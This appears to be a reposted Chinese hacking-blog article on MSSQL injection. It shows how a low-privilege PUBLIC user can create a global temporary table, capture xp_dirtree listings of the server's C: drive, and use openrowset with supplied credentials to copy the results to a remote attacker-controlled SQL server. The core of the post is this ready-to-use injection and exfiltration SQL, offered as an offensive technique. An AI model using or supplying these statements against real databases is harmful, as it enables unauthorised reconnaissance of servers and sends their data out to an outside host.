MSSQL注入PUBLIC权限下的xp_dirtree再度利用方法
MSSQL注入PUBLIC权限下的xp_dirtree再度利用方法
发布时间:2016-12-26 来源:查字典编辑
摘要:软件作者:kj021320信息来源:I.S.T.O技术团队(http://blog.csdn.net/I_S_T_O/)本来这文章在TEAM...

软件作者:kj021320

信息来源:I.S.T.O技术团队(http://blog.csdn.net/I_S_T_O/)

本来这文章在TEAM里面放了好久的了!只是<<artofsqlinjection>>的一个小部分,可惜写了好久资料收集了好多但是估计年底都没能出来~那就先发出来了!主要是MSSQL2005都来了!2K的话没多久就会给淘汰了~拿出来跟大家交流吧~广告说完了...

正文:

提起public权限的用户估计很多人也觉得郁闷了吧~N久以前看了一篇《论在mssql中public和db_owner权限下拿到webshell或是系统权限》的文章(名字真长-_-!!!),里面说到没办法利用xp_regread,xp_dirtree…这些存储过程,原因是public没有办法建表,我在这里矫正一下其实public是可以建表的~呵呵,使这些存储过程能利用上,看下面的代码吧

--建立一个临时表,一般的表我们是无办法建立的,我们只能建立临时表

createtable##nonamed(

dirntext,

numint

)

--调用存储过程把执行回来的数据存到临时表里面

insert##nonamedexecutemaster..xp_dirtree'c:',1

--然后采用openrowset函数把临时表的数据导到本地MSSQL的dirtree表里面了

insertintoopenrowset('sqloledb','192.0.0.1';'user';'pass','select*fromNorthwind.dbo.dirtree')

select*from##nonamed

以上方法,也就是说public可以遍历用户服务器的目录具体有什么利用价值嘛~呵呵见仁见智了

Trackback:http://tb.blog.csdn.net/TrackBack.aspx?PostId=1736964

推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
相关阅读
网友关注
最新安全教程学习
热门安全教程学习
实用技巧子分类